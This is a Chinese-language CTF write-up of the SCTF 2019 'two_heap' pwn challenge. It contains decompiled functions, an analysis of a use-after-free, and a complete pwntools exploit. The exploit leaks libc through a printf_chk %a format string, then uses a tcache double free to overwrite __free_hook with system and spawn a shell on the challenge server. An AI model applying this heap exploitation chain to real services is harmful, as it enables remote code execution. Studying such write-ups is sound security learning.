two_heap

发表于 2021-01-04 分类于 Challenge， 2019， SCTF， Pwn
Challenge | 2019 | SCTF | Pwn | two_heap

点击此处获得更好的阅读体验

解题思路

这个题刚开始感觉是和one_heap相同，可能也是爆破，但是发现了size存在限制需要绕过所以就不想one_heap了，这个size限制导致我们只能利用3个左右的堆块。

静态分析

main

这里我也标出了函数，这个函数主要的作用是在leak上，因为printf_chk可以做到用%a去leak，具体可以参考BCTF和HCTF的题。

```
1  void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
2  {
3    int v3; // eax
4    __int64 v4; // [rsp+1Ch] [rbp-1Ch]
5    int v5; // [rsp+24h] [rbp-14h]
6    unsigned __int64 v6; // [rsp+28h] [rbp-10h]
7    v6 = __readfsqword(0x28u);
8    sub_12D0(a1, a2, a3);
9    v4 = 0LL;
10   v5 = 0;
11   puts("Welcome to SCTF:");
12   leak(&v4, 11);
13   __printf_chk(1LL, &v4, 0xFFFFFFFFLL, 0xFFFFFFFFLL, 0xFFFFFFFFLL);
14   while ( 1 )
15   {
16     while ( 1 )
17     {
18       v3 = menu();
19       if ( v3 != 1 )
20         break;
21       add();
22     }
23     if ( v3 != 2 )
24     {
25       puts("exit.");
26       exit(0);
27     }
28     del();
29   }
30 }
```

add

主要是add了堆块，并且进行了一个位运算使得末尾成为了一个0x0或者是0x8的数,当然这里是可以绕过的，他没有检查堆块size的大小所以可以魔改操作一波

```
1  unsigned __int64 sub_14A0()
2  {
3    FILE **v0; // rbp
4    __int64 v1; // rbx
5    __int64 **v2; // rax
6    int v3; // er12
7    __int64 *v4; // rbp
8    __int64 **v5; // rbx
9    unsigned __int64 v7; // [rsp+8h] [rbp-30h]
10   v0 = (FILE **)&off_4020;
11   v1 = 0LL;
12   v7 = __readfsqword(0x28u);
13   v2 = &off_4020;
14   while ( v2[1] )
15   {
16     ++v1;
17     v2 += 2;
18     if ( v1 == 8 )
19       goto LABEL_4;
20   }
21   puts("Input the size:");
22   v3 = sub_13E0("Input the size:") & 0xFFFFFFF8;
23   if ( v3 > 128 )
24     goto LABEL_4;
25   do
26   {
27     if ( *(_DWORD *)v0 == v3 )
28     {
29       puts("I don't like the same size!");
30       exit(0);
31     }
32     v0 += 2;
33   }
34   while ( &stdout != v0 );
35   v4 = (__int64 *)malloc(v3);
36   if ( !v4 )
37 LABEL_4:
38     exit(0);
39   puts("Input the note:");
40   v5 = &(&off_4020)[2 * v1];
41   leak(v4, v3);
42   *(_DWORD *)v5 = v3;
43   v5[1] = v4;
44   return __readfsqword(0x28u) ^ v7;
45 }
```

del

删除函数同样是没有对指针置0，漏洞很明显，就是利用起来比较困难了。这里检查了一下idx是否符合要求。

```
1  void sub_15A0()
2  {
3    __int64 v0; // rax
4    unsigned __int64 v1; // [rsp+8h] [rbp-10h]
5    v1 = __readfsqword(0x28u);
6    puts("Input the index:");
7    v0 = (signed int)sub_13E0("Input the index:");
8    if ( (unsigned __int64)(signed int)v0 > 7 )
9      exit(0);
10   if ( __readfsqword(0x28u) == v1 )
11     free((&off_4020)[2 * v0 + 1]);
12 }
```

思路分析

1. *首先因为存在printf_chk可以用%a去leak，这里有个小技巧，当得到的是p字符的时候用0去替换掉。然后就可以计算出地址，有了leak的地址就容易的多了*
2. *有了leak利用malloc size = 0x1,0x8,0x10,0x18来进行对size的绕过就可以利用了，说实话这个题比one简单。。*

感觉这个题目出的可以，都是知识盲区现找现查，学到很多。

EXP

```
from pwn import*
context.log_level = "debug"
#p = process("./two_heap",env={"LD_PRELOAD":"./libc-2.26.so"})
a = ELF("./libc-2.26.so")
p = remote("47.104.89.129",10002)
#gdb.attach(p)#,"b *0x5555555554a0")
def new(size,content):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input the size:")
    p.sendline(str(size))
    p.recvuntil("Input the note:")
    p.sendline(content)
def remove(idx):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Input the index:")
    p.sendline(str(idx))
def new0(size,content):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input the size:")
    p.sendline(str(size))
    p.recvuntil("Input the note:")
    p.send(content)
p.recvuntil("Welcome to SCTF:")
p.sendline("%a"*5)
p.recvuntil("0x0p+00x0p+00x0.0")
lib_addr = int(p.recvuntil("p-10220x",drop=True)+"0",16) - a.symbols["_IO_2_1_stdout_"]
free_hook = a.symbols["__free_hook"]+lib_addr
system = lib_addr+a.symbols["system"]
print hex(lib_addr)
new0(0x1," ")
remove(0)
remove(0)
raw_input()
new0(0x8,p64(free_hook))
new0(0x10,"\n")
new(24,p64(system))
new(0x60,"/bin/sh\x00")
remove(4)
p.interactive()
```


#Challenge #Pwn #2019 #SCTF
one_heap
babyre